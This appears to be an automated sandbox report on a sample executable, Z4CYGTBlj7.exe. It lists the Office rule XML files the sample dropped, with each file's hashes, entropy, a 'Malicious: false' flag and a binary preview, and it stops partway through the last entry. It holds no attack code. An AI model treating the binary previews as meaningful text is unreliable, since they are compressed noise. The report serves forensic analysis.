Preview:	<?xml...X.1.6.1?....h,d..Z .>..O..O.B(...k{.f.+...A.zj.F....XM{H.....>...6.........ai.O.c......K.<.{q..<._.....k..M..c.........i.3...q..PJ>.!.]t.i......J.E.C.Gdm.....6....._....h\|=....~..t.%.w..Pq..x..U................K3....Lt.{.F...<09..P.l..d.}...].1..Z.I..%..w..#.....P.yH...._..%].<.$..(cE.>....6..B....8ZM.Q.J...y....._....xwT.....,.~.Kj......_p.....k.?:7.....s.z8.F..Tt.y..}......+.".j.7.]..T....g......a..\|.2$z.f....qO.{.!j..$..q.H..}.2G....p........>..=.....?.{..3..KV...\.7....FN.+.T.j.....S].\......;:...Gs.+...I.]NH.No.WHQ.....U3$.h.sG......:..{.W.=1.J..o-R.G?..........=.^}.P......b?.6..U.u..7.~....jw........:.r9ZT....X....mB...[......v...-..W....hZ`~.U..B..2w..:.2..P.R....c...%.5/....K.h..].....^B.eb....c&.?;.f.pkR..t%.>\|..wD..<...w..... 5\|4.M.....].Y2s.H#..e..u.!(...O..0.. ..".X.~..I.3@.@....+.m..+.0a.49.j.E.S{s.....+....1..-'.PV/.z\.Ml..KE{..T..R...>;....<P.P.},S-%0..@..(.\............MWC).J..]%..D/H..?O..G*..J...\|2\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8798247366816225
Encrypted:	false
SSDEEP:	48:+4QCRNVz/bCSORdSi6qDuTf0iQDxUFMwFVTWmD:YCRN1boQi1uTczxqMGy+
MD5:	A9CBCC238F6FA220B5325CFC28B9A9C1
SHA1:	1A622E3CB9297516B0F9F9DDF50913A3D1A2524C
SHA-256:	B68D63C79A0178F41E71C92823ACDB055763F22C4741777563FFD72CCA868811
SHA-512:	8652F0E4CC613D5A10A3119908D912660FF04F72B3396141E26E609D4A4DED3B61B2523D61EA796F7CB3E0F2B12B17CF8D13EED93597CDB9D497BAD2748A1156
Malicious:	false
Preview:	<?xml^.r!....X..=..P...j.....O.......2.pv...w..:..W.+..........T.=..ue.c.4s...$9.+..m....ZWq.Mq..s...``....E...w...0.F.$.S...5..\[.z..ae.D....=.EY6.VW.i...#.fP<.fV?.....Kktqm.\..x.....).Tc...67..o9V.O)r....ue...=.#.......a....2...]....L..G....x..up{.\|.........,'L....D..e{.s. $8..bJ.<..rN........x..'.=s/..@.....c0.b.7."...H..A..O.....;J...r.lqCoY..p.hnIon...g...rH.tg.a*...x..........(>-.B.`.f..r..........E.\|+?W.~.l..(...n..h0...8. ..../...}...4..W...t.5..y.j.b..xl..%6T.6x....S.H.._P.i$L/.e..vN@@.e'-B.4.l.....!.\.....@@.[h...=~.<.9,.w....j.t[83t.3).ql..k..X...&.......iO...k...#...z...vU..B.9..(. NQ.dC...-...~.r[`...%.F...,o<~Z.....}...v...2.......S.......p...[y......p..r.z.k..r,..&.Tqx..u...3mKKY.GC..Q......].n..@.&.W....9......\|.0..Yy.\|.,..{.....N{..pZ....C...~...C.J.1O.]1i.."_.......}dtX.s[.Yms.]c.+W.9w].1..{.!G....8...._L.F.X..T.Y.b....L.y..V..pA....T....V..^....h.3...t.....w.[..]. .%#...#..~.....l.0D.].I?.N.kD.R.o4..y...pW%......ZF.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8979194761914915
Encrypted:	false
SSDEEP:	48:8AQFvqfu1J8uZFReFaiZBMkdM34h4arYELaEovmD:aFv0u1J33RBkoWRuL+
MD5:	D4C2348034256C670DB8814D6FE9517F
SHA1:	6869D05F17AC9D177DA02669DFC453E5DEEC6EDE
SHA-256:	D42A9FD8A5B0D491BA823B6CF4D9C420CFB96A90573D197E0CD6736CF50EBAA4
SHA-512:	932A041619F2EE7034BFEFB95B77F7AB300AF4E66285C68A80BF3F4A24762F6A91E1AFD2B66D9F04B43C3F622B3B2C4D9F4F47124CB761116291FBAE5B970790
Malicious:	false
Preview:	<?xmlT..5C..u.5....-..{A....wp...H#....tq+z-4e.?.6@.na........Fm....?`.............D...K..R-.!.B.K.)..L.......e\...e..hU3..c....5..Bq@.i..?.....`.b...iO;.>n.<t.,..4.r.C. ...{..s}.xg....q]....83..x}=.U........)....{u."S..@v!.]...b".../I t.7...R.b....W.,q..x.&:.\|.....1..y.0..2.l.sCF..J...bT.g.....:..Vu....\.p.StB...m..%.\....L.}...Y..98.....@.0.>{........60.;.H.p........m.!ea>....q.~.=...?Rnw9.....}..H<....G.D.[.n.$ .nr.&.IX1..6c..h.c.^..A..V}.....y..w.W......U..r..z...C.$..cv...E.......$It.z..............C}..... )T`.qr_....r....#.F.N#.@.i....`....../...<.-....{J.X..X.`m.6v.....B.....\|d.L$P_....c....S.I.N...s.R.N.R....;.0..Q..8...s........o.M.. p..!_..#....]..3Yx..1......Ez.P......!...q...R.o.tj2.b.^.Y...n..."&...=.....$<8.....}...Wy&.j.[..iY_\$.W.`..$.....o..Ag!..9....\|A?^.(..q..p..z..[..{.....o..R.....b...l+/.q.7.g...o.(K.t.h....>..Z...._Z...\...X.U..5?........]Kz.?......x....o..zV..,9.^.......+r.Z.g..]E.VO...{S.n.0E#H..+=.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.891826473809803
Encrypted:	false
SSDEEP:	48:ClP/ciaRRPseomUDVsfv2YCADHwwi71NWxjm02L2qfQmD:WneowoAEJ71kxqXfY+
MD5:	A17790D36E0BC518AE2B6D6C18235F46
SHA1:	7DBF1B1EC7C8AB5FFE6899AAE3DF7C8DEB524295
SHA-256:	3106BE9213FFE0C1646C4F1972BEFEC2B9A020CA447379EB5F274DDB5C808BD5
SHA-512:	B08D45798A92FDDDADDCCABBD6CE7EF8C193B3B30F8D4DA75955EF423522C2BC02AD2215072B3A2EDEA4227DF25E611831A0F710F73059440CAC32D703B1F698
Malicious:	false
Preview:	<?xml..n.(.)......x3;j(#?..5!).u..nW..k.;...U...{a...E.......C..Vb.F.b..r.Th.A..W....[......z...0?og)n:v3^x+RS.....K C....x..t...+....ab.Sb.W.....Ws.....Bk....y....2......#.wF..U....\|...7...:.....6}C.<#+~..I.;.........+@E_....~Z.Y.%.[u..9.......[.Qz..p..k.e...7\|.:....E..!!.$.......n..N......E.....S.Qv(X..rWI0...m..J...p....0yv......t.6...].......c7$O..Qa.6A..`......;H.K=>_;..%.7e.\.3.@....O...G..J...Z...u....h...`$.Qe.g.}l\|D.8..$...@.9#_.....^p...i...V...+i..'........Ym......i..S....8...wp...,.aAv...-_<.=......kzr.2..3...f...s....vb..e.(...g=...M...3.J....\.....E...a...2.8\|S.....wPd'0`&/...#t3.5..QK}/.../.._y.?.h.h..S........w.r.'L...h....&M.y6y.C.3.H......l..d,a.}..f.Ac..c...z..~._....v..?...JA...S.`A......Mg...py/..U.FT...Z...c.......2...t:=............5...P!>Q.t.....p.U.....v..[...!...5......i/0v!.Az...mA...IN1...(P+@~..x9.U.C.z..P.Lb....R...mr'..YK.y.?A..}....`..v...!.Yd....b.K.......E..eL.m..q.... &.C.pD.e0......{..V<.D.,...n........W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.882221980650691
Encrypted:	false
SSDEEP:	48:lXjBqmmloOzSWJGdJZ3MCNnkEDSlEteyAmD:59qoOzL4JeCNnkKSGM+
MD5:	16BA153E90585C4970E5116D5F082795
SHA1:	36824EF4C7FE29F0425A8F63E86C4968EE6310C9
SHA-256:	4350427CEB5A782C2ADDD33FC95E84B0D4669A01A2ACBDD1EF1770C82065520B
SHA-512:	018976F7ACE16739D76AE5660585350D5EB31387A52FD18E182CD5D304B536ABC09E63E7AC65858757555F67B603CBC7E70F81EACA31A06E0C39CA2D778B7980
Malicious:	false
Preview:	<?xml\..b..e.W{.oim.....6....z..v.}...Du.x..R..P....>.d.:.r..].s..D.jA.....bb..m.1..S..@....yg..!...5....."..J.sd..PG.K.I.Y9z....c..Up..4x.I.Q..i.v...\&I..^.M0..2E.....+H..n.Y..W.2n:.....{.FQ.@........D$.`....."...Q.v...V'.c7....$.K...:"....e;.{..{.`.....0k..kd.vv.w.).g.k..M..:Y......K.1.G4.S../.U.n.a.<......K.\|a......F.AIw..=.$Z..,..WP..8.>.......z...W...]..c....x....(..~3...I...A.%8u...&.M9........[T.....L.5a#m[.X..0y@e.P..Q.....`.......8x.s."...^.cjO...'\8..u.#.../..&.I:..C...%.......F.F..N....q>'.8Q...7.zd.s0$.cB.."5.....p%/g/.,...A+...d8.....F..j....>.3....Sz.h...i...i...9`.(%A..e...^.zI....Z...7..2.!x.i..$A3..T.S+..Q.6..$...V~&........Ej3......?/.y..X.Q..M..7..6.0...U..c.p4...E......!..7.......5.#...$T.....@!.'..q.I......@....6.;.4Y...j%...d`,..-t...Y....Hz.@.YeXK.c..*,..F.......9...;..u".....si....v..}.$iQ.\a/..m.z......;.v[:S.Sh....\....B.K.V......!fN}!...El....j....Cd.x.d..o...T\|.._6..F.V.i...#.W...f..s...p$.`FQ .cI....)7m0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.906271913459116
Encrypted:	false
SSDEEP:	48:5VfXpmEOeMru0WmI2Oz7Ngwp9YlcOAgjdufmD:75mnhWlbn6WYlFpjUf+
MD5:	663657F2FB64E47F666D6E9D8F48B927
SHA1:	AC65276DF9FF79D901772745042DD0ABFBFC0524
SHA-256:	F2AF27092054488B376DE0AA8BBBFEFC14A4F325154B2C69C48AD5DDE42C86A9
SHA-512:	9392CF8861D99B11B3A7EC224DF6ADE0D8625B1EDDEF996E9F87CC327535E956B56740BC925349A81D16FF4A9EAFEC46A990E4F9F8405EC98332B2C20D854F2C
Malicious:	false
Preview:	<?xml@...t.[....4 ...iQg;D.{;...I.."..H"....w.Bz. .....Hb.P....E.\|...Q..../..N.v....H.....b+UR.....:....]<.`F.h...^...z..O_.z...=F(."~F.....S.._.<.h..8.l.\;..`..=.~n..Y_..k,b..S...k.W@....CnE.....}D..f...l.vq...S.D.\|..jl....&.....=....H........3..<..{.`.....2t......SYS..B.Y..2.D@G&.}a>.n=`O....J[..QZ.%...Uay...f.1....d...#.....%..Td.mT.J..Uu...\Z.H....p).>S.j.:.?..-.L.......$e.rz....n<.s....9..3.Z..9E.a.(..."]]...9B...B..j>.....d.. .P..hUe.Y.\u....V.#o.c.&TJ!....[:#.z.........k.U.G...QLJ.}......+>E>.f..k..'..D..H..t..P..!..z.....nR........h.......L..V7..+..w.........;..wM.c.rM.R.../\.......G.p.....#QN`./ry.......#3.a..s...0........Wl,.?h>.A.6=FL..:n..sH).....f...a^.Y_4/.b..v.Y.Sd..kP...<Ww...&........_......l.......".m.n..!.>...r...c.M...@k.a.$.-.......ND...(}d.X...."....5....I....q6.+."...Uo.n.......#...s.#..8..T.'d..7.&.[.~-)...ai..}.,.bCT.;+.......B.....tM.v.m#.L........g6 k.?:cu]-$6E.5....m[T$...!..Hjx.F......r.......NI

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.891439264076373
Encrypted:	false
SSDEEP:	48:l03jFkTIOcKKLEQnaj1OJuGsVASQTxymD:miT4/Y0FGgQ+
MD5:	9F048D98D4AB2F11B705953AD013758B
SHA1:	E993D935FCAAA1079C14886B5DB15EE5B3172613
SHA-256:	66DEEC0B2D89A828CFA1D394D4641AA4C953349485C5E85AB76F62A272C0517B
SHA-512:	F27AB547FA9080F593FB6A230F47516245736F1B2516FCC2A13E9DCA28132ED4338E4D6C9FA18E4C0D66F5A5C91308E3F31055421FC8A98B5579C2408493BC62
Malicious:	false
Preview:	<?xml:.r..@ed.M'%.:}pw.e...$u^'..C.;.3...7....Q.OV.D.~..ZI.\.o.L..T......k...NeI.d.x....,..Pwr.#...XMN.!........q....K.... S..q_W....UZv..{..R..i8F.....cM"(..{..l[........R...$!9...1s...S~X!H.O..CU.7.Zb/A..._.R)F..[......'I.a../..{O.-{...m......{......_j...[.ZH...RL<...+.z.w.&../......E?...tc`d.{...7(........1.Cs.)(>.......?.s(.r%.g.W;...K.\..W....fpz.4..r......sm.\|..J..;K.M....@.....$b7C.?5....{.PB...{\|V..?r....!A.!j.f.....-"0..Ra1...;3...$.....o.$...@.''..64.......d.LW.Pz...b.."....O......7.Co.. .E#......mc}...r.XY.;..E....7..u.x9+0m..nV '..k..g...+C.8...OxU.wgb.h..?.f..D.. h.<....?........ ..r[1.!.l.WAz.S._....Q,/.]...~.]..#....KZP.....N.3...+...$...\d....h#.`.W_.yY. 7-..M.0ZL.zB_.B..)..k.a"..(.Q.<z08.=.q.}.VPd......d..^.%....3.K.....,.......j.YC<.k..=1...\./.W......?k..N../mK.M.#M..s.. .jg.#.8h1B!...\|.W9wz.+........nD..t}._.[.....gyb..cV....u...;>*...;.!.M.G..\|.%t...{....h#.1..V..;I.D.F...VZ8.+.....Uu...8.y..8.....2f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.90501945565615
Encrypted:	false
SSDEEP:	24:uIxdofIbvAEh+v3K3XYCJJQLOxXlGrGEKweLSAxWC/8vbhW6nvPHSn7SsbD:uAoTQ+vPQJWOxUneLS8ybhW6n0SmD
MD5:	6E86E68D629F76221B4F3923490DA220
SHA1:	C94C1A6B93CB9E72932F36F7364A76CD520109E8
SHA-256:	A5AE35F8453DEFC59AFED61EC81DCFA2B243F11B562544DEC57B00EE06BBFD74
SHA-512:	335F8BCD8B0851586984F800ADCF705C563D5576098BF4715608C198010106DD0582BA58E391D0B47F52960B1413B4EB69670DF80AC8C14C3B950D8D0BF553B0
Malicious:	false
Preview:	<?xml......../,...7.{...[A..r.0.-..P+.............\..A}..BXhL....O....0..e.'o.[.\.R.".v..)Zkr.<.@...7n.ea.;.f.....Q..H..\|..j.L.M...G.y.....=...;.(A.....0...h...7...%.B...p.e,.`.~.t.!..,%..'.K..V.."w....:+.....EL.....D...o.t...?M0...6.30.]\|k...0....J..8.di..s..^...\|k..ap-...Pq..........{.u..yi'.#+.k$`G..$.b...NL..mS...T....J...(M....&.!A...^e..;.F.....$D.kd.7.<...........<....].....R.fOW.6..[......D..in;.Q.E...._nU.....n...8....(F....d...YV.....7...{K..D....G.@#....F.`U..Z..o.A.d.M.5:..?..Ic\n......^e..;..`..v=)......4Y.....0:..s.#I(..j......w...Od.XUa...g.&1.............C.I..3M..WJ..u....W...L..F.u....+X...UB.V.U.....=..`.."..`......sB.P.b.,...c5..^.y.^5.sl..W...!......U.*....}..oo.6..$.........j.... pI....(..H..0.H..g.:.`uM.Tq"..H.{.tO.p...S.y./.M6....!G.....3m.'...T..Xn..0f....`ri..bi...B....9..sN`...#..x.Sa.....o)v.".'..,....L.O....?..Us....V.0..g..... .Y.......0...(...(,.5^.~Q5.v.....&.../.$F+.t._a......yJ1...j...n....]..w9HO.m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.884237210318266
Encrypted:	false
SSDEEP:	48:y4HQteLpTYm68M6kEdeOVHVqeJbOuwFZay1IWGYLLmD:pZNYmpM6kKFHVqeJbOZFZa4Iu+
MD5:	90CA2E635C8F2D3BCC934BCBF57A47CB
SHA1:	B3D804D141DA1AD5A7B0089DCE635A2D321944E0
SHA-256:	D047684FD6114B315016E43DCA7AB36B9F0114D6D2D74371C68818C292F94D9E
SHA-512:	81D8740EFAB7B8158A607A8B11EAD5E3EFC6F727340ABA1D684B896BE32777B95F4B9DE4AFF35CE4C6FD46AD732264E9668B24F542D59D3DFD30111689BDB529
Malicious:	false
Preview:	<?xml.x....F...;>f+qb...............]......[....j5..m .S.v\.p..F..S..2.......A!....@..u... ?.].7Mz.6.....~#...H.cY.Vs\|6i...n.....w...a..lg..d.XM..x..%...5.I{L..u....2s.. .....7.. .X.C^.C...b..1:......eu.h....'D.....L.c..:.2.......l..x.s`.Y...q.yF`...UTC...y.}.........>.a.!...B.8..{^....;}.#........?...y.+.@.o.....8...t.oS.(..R...E.Vt..hh?..6y{.{f.].\}....A.m.a....`.g..K_kw..8..~$....&...OWC..}QU...\|c.fm^....p..1.K".F..!.^..Yv+......`g....\6"....e.},.x.f..w..E....[.,]..m(t5...v.;.P_.Y........x.0.x/9...!..k..D...l.YE..)..e,...\|..Z..J..F....}....n{.r...yl.).~.....R5Q^.....jI.t._;N.eA...CDa..-.1.6..9.9.G.a.Dmv...h..;e...#..V...y.na....{W^.X..jQ.S!.J.Y...z.YN...%>....N4.5M .=..[...6....nv;.....y.(....B.%.S.>8....D.8..p.@B.G..z)..?.,s.+c.._l.J"..1.{W..\|.....=..3..w..\<BRK.n..>.%....{%..a...*......._.......`...,/.,.Gw..N.\|."..ley ,g.\..._..;+U......'..f#\..$...GH~....J.r..+....rvjp.\|3.-."..M....V...;#.Pz.9#gN.V........4.<)5..{}Y....zW.Ku

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	320676
Entropy (8bit):	6.634488683776125
Encrypted:	false
SSDEEP:	6144:U6QhwNoJBdfvzP00zM5Ajqe/BzD1ptNabz:tQh+oJH7M5iqCBTtI/
MD5:	754E4516806419447F3254919B226149
SHA1:	DA5915077025081E9945F457E5571A8D4085237E
SHA-256:	D2505E1737DE6E404B153E76A864947E387B365C86FCA1CE2079704A4B231B61
SHA-512:	A3DF16EAC9EA3530A6F23009D6E62F14260A35618C2B2F3ACE92A86CDBC8AB993357D827D5610ED00A01382ED78C09119C3A97187A6009D1D3F9F81AC0F00EDF
Malicious:	false
Preview:	<Rule5..{?......A..H....`.p.....QM......b.\MT.........Z..l..YB........9,..r>...S.H.....%.Y+......>.n.4Ej.Lr}...].r.Q.g...&5..EGo...x.<.-,...?..s..aT.E.....G...O.....x..7...q[...U..R.....c.4..9%.4.yl..d..7............V.b<V..X...hP....P..OcV.K.._>.4.d.Dd..}.<.$.=.K....S..X/..L~...`U45[i.....[-..^...$s.\..J.k..t.V.$.....z.W;?..&v.a8.V.._X.C,qc..y&.})H.!....#\|t..<.#.~..w........%..5_.=.H.vb[m....-...^.f..T...e...e..jV/..2bj7.m...v1..k+.....?.O...'.Wbf`.A...j..n..>..,l.:twP...'...th2.B.....b".#..3..jy..6gAd......rwr+R..,.7F.u./.8bt......]]"&.....8.`S..HWt......@..._]...,.L@...P...a.J...}...d2.@6w.y.9w.E.L..*8...9.....i..@.KN9a.u>-....`..T..'..N.^..`5.Te8.dP...c.>...d?@....R.=......s...=%6.W.1.k.B....aK].)..e.#).w.@.8.../..T.jQ...A...%.__..S....Z.c.....?+.\...+.{..9..~.y.....[.4P..f.1H.{.X~.O.Vy}......U.M.....rX..%...us.?Z%..u.T.x@.DD/.dTce(`.......{+C....[1.]..]...;......1.91bm..Y.}R.....7.F...p..6c....B2k....K..C.PXv.}.=....T..d.L..a.....\.Lp./

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.862434955242352
Encrypted:	false
SSDEEP:	48:Ci1901ZqYPTYGgpS787jue5z05qMzZSXnUkDjzmD:Ci1e5PsGgw78fue5zL3UkD3+
MD5:	B1C2AA1536E8BAE1E56B26801D3A8508
SHA1:	238210BB8641CF6F6004BB69A3884F7041A5A991
SHA-256:	6FA7FA2D8E3CA1D7F3A60D1F321FC3F7A59F1C163D96C521E1B3C869DA076F5B
SHA-512:	EAD2D450FC8779248CC75C784FAF57DF66174620F7E9CC7A1660527A43C550DC00B9BE3DB5CE6C1A4650126DAFBF04C51DD4549AD6F4C8944DF91C77F3430983
Malicious:	false
Preview:	<?xml9n.}.....U..a.....0E).3..{!.....6CG.C..-....k...G.WI.\|.4v...Iv.Mn.Z..v.;.x...sp...._...:......C..c@RJ...@....iT..?R.W..../..m.O..ycO....m.B.L.+.#Q.G.&.6..q.........B..(.?......>..8."..@zi.Mx.....@8.e....n.B$.....Oq....m..x.`L.(%..].DfB.....X...@r....1D7.f/...U.....\.t....?G.t...7..0.3}...H:l..v..y!d...Wm....G....s..'.,.3.@.t.T..3.M.&.=S^.:U.0(.?.&...........X.d.e(o......Svxm6.R..`.."y.&.^.}.;-.hyX@I .wC.,..KZ...a......2..U.P...a..Bhc6.vV....!r..mi. S...e..ik;.(9........".N\|\..2A.....,.2.O.;)B.!v.vX.'......p7....U..v..FXv.....;.....=..q#...kd.....x..O1c..'Yt>..p.....'.../..>..'T..p.&..[\|J.....?o.....A..........~..{v.BO.A..f.c...a.:C..0.N......h.#:..V].!..WC..[...H.....+:..q...Y../.-1T.}.C........7g..8...A.....=.e{.M..Qo...S.!m.\|H.LL...].Y....Mu.2;=..N.O..K...r..}}.......]B..#.@9........{.......[.i..6O}D_8....Hm`.k_g..\+...V. x....qm.5.L.@...8G...Y.{.....%=g%..z{P....-m4.,.Rm..S.r.^..%.j'n.nh....kqgL.Q..Y^.j.v5....=.g!.oO.5.g.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.873187243718343
Encrypted:	false
SSDEEP:	48:0LmB6EwjPUgE0uZORpE80SMQ48/7Wi/OyrAIJmD:0LwEPVXEYMQL/7Wi31J+
MD5:	2F885DB4BFBE40BBEAC26D0B575BFC9E
SHA1:	281BBB71A18A201A70CF7A3C14FAC4559F333125
SHA-256:	48826D26843F47B84C365EE662E8D1C693A0C2012AFACB9D9B6EF9A36F92EBDA
SHA-512:	A0056FE807000F820D2DA355BCB9C7CC3FFD39E8A40104EFAD34A6AE3554B22876D702D17ADA8D55F899BA86BFA2B4C644121F994B2326C262F1982DFC6422CA
Malicious:	false
Preview:	<?xmlP.Q...L=..Z.8O$].........o...bd.t..<.;.)...........q.Y."3....)<Y...+.l.lhs.{.....N. s.k;.v0.+.~..j.<.......6V.k.-.....\.......= c&g....9J.=?...$.{...\|.........`..Fc.....Q'(s..w/g...2......6..BZ......).`.$..7....v...... )@5.2.wg5...wkPV..{G.>.wps.mM...<.l.8.7.>.w.8.t..v..7`8.`..Y{.+.....Mf..f\|....g.m..k....@..i.6.O.m...,.v...]..+?..#....K6e.._..!K.D2].../.._O..u\.....P.....O.(.0CDolB._....a\;....S...p6#^4G0..,lx!..5..$67~x..=3$.[.i.?.,.}U.....SfS.z\|.l.f...e...a.3u.....Q...>?.%.YM..lW...........W..3DN..e.u.....!f9xE..j.Pi[!&.c...>.m0}5~..V&x=...l....Fa<.{..~...;.?l...:.....Xb..{L..u...OkW}........7 .0...4Ew.m\..!d@..4..bQ...ks....X.....c\../..............{...:.q ...F.....kp...N.X.......r......3+D....K.....O.au...M..d.\i.lg.6.ao..tr...k.<G..N.G...TU..0@?.(........[..W^/:...P(..1....i3K.I...O..p..>.....6`q....4..6>V...Q....7.......^&..xb...$."...p%........J?U.c.....9Y{R...e.Ns.Jof..9.m.9J\|f..c.w.D....>.'.....Y..z......z6.].....\b...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.862581348103939
Encrypted:	false
SSDEEP:	48:gguLnxvrh3YZN3EHI/jx3H2RpDZ1VVGqfsFmD:gguLnDYZN3J/Q/DZ17sF+
MD5:	6BD1DA2FFB600BAC3938C0DA5C1ABE67
SHA1:	6F88635F307B285CAA8579DA452F066DAACD3801
SHA-256:	42CA57F94F68C12FDA780B4F86356C176DEC9A5AD05DBE81970BEC891A83E2CB
SHA-512:	A7797131957711CAD2D4EFD93F41A3BD293C206A5307FBB39A814C93EF696C11B576365297D5BC98BDFF241BB39A39C64751E0D30E1BA6B7D987B7A080E99639
Malicious:	false
Preview:	<?xmlD.E.T.T4'..R.a.....R!S..TY..M.2.d[...<...4...e+FR.z..U..#.../...pI."...a....Y~..eCE.....3.X....]..w.p...J.U...$3U3...)H.N..b.n..3.80..`p.H#%'q.v0.T..9%.Q......(`..I@(o..\...mZ/z..'....eLKc..: .a.......X....?U...[2.......j.n.R..$......dE.%.r...Q......)CA&F.V)....L...o..1\....X9..a.wAO..3].....We...R.v.`..<.8o.b..%'v.'..."d6_.H.ep1.N..1.....4t...$3Y...B.CA.Kru..C.j..k..&H...o+.r....L;...oG....@ry..znH...L.q....H."......s.......[...>X]"^vv...........L......g....$lM#.-R.....\|..V.C.x...P0.vLx._..V.......!$.M....ZHp..p,.pC.)..Xl..((......[.r..0,.y.E..6..d...M.)QK.;)J...3.i.....4.....F...T.>@.K.....:.....)........N..R......3..6..L.^....._.4.J.......C.J..[..x.N.;..4.t......\D...SgS.......;A...."...Cg+t..q.fC..\e.].xQ..OK...HW.Ot..7..<...q..m.....x0qo5.....h,.(..w.N.....".abJ.\....'&.A........'...F..4....Fi..Y.:??u.M3...y.z.....MPQx...qG...0^.O!XY...q+.qb...Q6...,.}l#...\...Y..T.w..H......+E..%EH..VS.....,]......N.....#.y.c...}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.889108381808648
Encrypted:	false
SSDEEP:	48:G3dn593R+gUtkonsjw2uY83NDnbnZogJC63mD:8dnvkgUbnl3Nz7GgN+
MD5:	2309CD47FFCF9F7694CDA0F9200D3EAF
SHA1:	26C0E02D9CD3503B36D78B7FED3D847F8BC112B7
SHA-256:	CAEDF2A6C8C79D2D6CA9A57D3B4167E3E50D738410D4D62A0815CA0C4C63D92F
SHA-512:	818A3979243000F939C3EFE38D63D5F89126A81ECF2C0FAE076BE105510C440E119B1744567D3A24039E6B2E9F5BB2FC7FF810F0C3EFCEAFC347052090359841
Malicious:	false
Preview:	<?xml..9....3.r..@.T..T.b..%"%.C.r.....B'..2........B.zP...o...h].i......).XC .j...a........D..P{p.,.K`zp..I..q..KG../f.....$..9..,:EF...4....".?.z...3.g..9^..8...u.@...u.5o......#}...k.W[`~`.G..T......p...d:..F;c_ .}F...%0....Q.7.OV..$.IdH..D....I.c....x...>.f1l...T..?........\L.q.8....9nOp.......u....."..4...8....g.;...ux.<.&oL.kW.......6..^..q.#...m....\.r.T........X.{Z......]`.$N6...d_.exC....d..UI.4...T7h[....?t...B .0...........7#.W.....H..%....3.!.&.._...qi...J.".uX.g...pi.V.n..+...3.....TH..w.\]..'{i {....q9.`d..+..v.5..3..:..RLi.42.L......,...../j.&..,x..i.... ...Q.F. ..l.W...v...y\....G,.....2.fqY..?p..D.v....G.../.L...T.u..@.i...W.!Aa..@.aO..ohfD4...&.y....Q.....>..z....S6..c..&B...V@.?.K...S".h.Z.i-..s$.l..W...K.I.Q.H.Q.n.{.."o..7.T}@vz.F..}..2.. ....I."...W.H!..:=gl.^m.4WjCy.X._#).t.A.0...Y..L/...-....tw.)[..sB.+.nHw.....d..lX$6idO..;......9$..'.*...1.%....8.....MX....c..d.x..W~.....+.s.8...T~...Z.}.uL....x..Z.9Y".]i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.88167861267953
Encrypted:	false
SSDEEP:	48:phF0vbH4Ik/H1PuLZX09Zd0eZyIAy7/9773pNcVmD:phF2jkf1PuLx0p0IAm/9773pNK+
MD5:	343037BD6FB3F09C5E5365025306DF3E
SHA1:	CDAB7FE548DCBABE4000CD630C922C6F62F9A8B6
SHA-256:	F47E6685A2F79A725B826483CA54DAC6BAA6AD7D30AD4E684181ECEE7DCDB17C
SHA-512:	0DF108861C79D8557E30E34035EE399182875A1F70812F229F2F33207FFAD527C735CB785C6E9ADBD601089ACE7D311C9A3BE42938844E691A723B691E409892
Malicious:	false
